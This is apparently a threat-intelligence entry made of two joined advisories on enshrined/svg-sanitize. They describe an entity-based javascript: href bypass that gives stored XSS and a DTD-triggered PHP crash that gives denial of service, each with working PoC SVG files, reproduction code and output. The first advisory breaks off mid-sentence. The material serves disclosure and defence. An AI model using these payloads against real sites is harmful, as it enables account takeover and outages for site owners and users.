Threat Intelligence Database

## Summary A crafted SVG bypasses `enshrined/svg-sanitize`'s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline). **This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.** **Affected installations:** - **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents - **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes) - **TYPO3, Drupal** and 90+ other Packagist dependents ## Vulnerability Details ### Mechanism 1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference: ```xml <!ENTITY Tab "#"> ``` In XML, `&Tab;` expands to the literal string `"#"` (from the DTD definition). In HTML5, `&Tab;` is a Named Character Reference that resolves to U+0009 (TAB character). 2. The SVG uses this entity in an href: ```xml <a href="&Tab;javascript:alert(document.domain)"> ``` 3. **During sanitization** (XML context): `&Tab;` → `"#"` → the sanitizer sees `href="#javascript:alert(document.domain)"` → starts with `#` → `isHrefSafeValue()` returns **TRUE** → passes through. 4. **Sanitizer output:** `saveXML()` outputs the entity reference `&Tab;` (not the expanded value), and strips the DOCTYPE declaration. 5. **In the browser** (HTML5 context): Without the DOCTYPE, `&Tab;` is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → `javascript:alert(document.domain)` **executes**. ### Root Cause (Sanitizer.php) ```php // isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution) protected function isHrefSafeValue($value) { if ('#' === substr($value, 0, 1)) { return true; // Fragment identifier — "safe" } // ... } // But saveXML() preserves the entity REFERENCE, not the expanded value // And the DOCTYPE (which defines the entity) is stripped from output // → semantic mismatch between validation and output contexts ``` ## Proof of Concept ### Malicious SVG (xss.svg) ```xml <!DOCTYPE svg [<!ENTITY Tab "#">]> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> ``` ### Sanitizer processing ```php <?php require_once 'vendor/autoload.php'; $svg = file_get_contents('xss.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo $clean; ``` **Output:** ```xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> ``` The `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `&Tab;` entity reference is preserved. ### Browser exploitation Embed the sanitized SVG inline in HTML: ```html <div class="svg-container"> <!-- sanitized SVG output inserted here --> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="&Tab;javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> </div> ``` **Clicking the red rectangle executes `alert(document.domain)`.** **Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html` ### Exploitable Named Character References Any HTML5 Named Character Reference that expands to a URL-parser-ignored character: - `&Tab;` → U+0009 (Horizontal Tab) - `&NewLine;` → U+000A (Line Feed) These are stripped by the URL parser's scheme extraction, allowing `javascript:` to be the effective scheme. ## Impact ### Stored XSS - Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint - SVG passes sanitization — sanitizer reports no issues - When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin - **Account takeover:** `document.cookie`, `fetch('/wp-admin/...')`, session hijacking ### Context requirement The sanitized SVG must be embedded **inline in HTML** (not as `<img src="file.svg">`). Common scenarios: - WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering - WordPress block editor SVG preview - Any web application rendering svg-sanitize output directly in HTML Standalone `<img src="...svg">` is NOT affected (browser uses XML parser, `&Tab;` without DOCTYPE = XML parse error). ## CVSS **CVSS 3.1: 6.1 (Medium)** — stored XSS, requires

## Summary A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker. **Affected installations:** - **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents - **WordPress Safe SVG plugin:** 1M+ active installs - **TYPO3:** svg-sanitize integrated into core since v9 - **Drupal:** community module wrapping svg-sanitize ## Vulnerability Details ### Trigger Flow ``` Sanitizer::sanitize($malicious_svg) → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr → startClean() → cleanAttributesOnWhitelist($svgElement) → "badhref" NOT in allowedAttrs → removeAttribute("badhref") ← removes explicit attribute (safe) → stripos("badhref", "href") = TRUE → getAttribute("badhref") ← returns DTD #FIXED default value → isHrefSafeValue("javascript:x") ← returns FALSE → removeAttribute("badhref") ← hits XML_ATTRIBUTE_DECL → CRASH ``` **Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash. **Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default. ### WordPress Code Path ``` User uploads SVG → WordPress wp_handle_upload() → filter 'wp_handle_upload_prefilter' → SafeSvg\safe_svg::check_for_svg() [safe-svg.php:176] → SafeSvg\safe_svg::sanitize($tmp_file) [safe-svg.php:218] → enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193] → cleanAttributesOnWhitelist() → double removeAttribute → CRASH → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502 ``` ## Proof of Concept ### Malicious SVG (evil.svg) ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)"> ]> <svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100"> <rect width="100" height="100" fill="red"/> </svg> ``` ### Standalone reproduction ```php <?php require_once 'vendor/autoload.php'; $svg = file_get_contents('evil.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo "Sanitized: " . strlen($clean) . " bytes\n"; // Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134 ``` ### WordPress reproduction 1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0) 2. Login as Author → Media → Add New → upload `evil.svg` 3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed ### Confirmed output ``` $ docker exec wordpress php /tmp/test.php Sanitized: 157 bytes munmap_chunk(): invalid pointer $ echo $? 134 PHP-FPM log: [WARNING] [pool www] child 17 exited on signal 6 (SIGABRT) ``` ## Impact ### Full Site Denial of Service With `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS. ### Application State Corruption SIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce: - **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons - **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items - **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely ### Attack surface Safe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`. **Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected. | Scenario | Authentication | Affected installs | |---|---|---| | WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ | | WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ | | WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent | | Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads | | TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ | The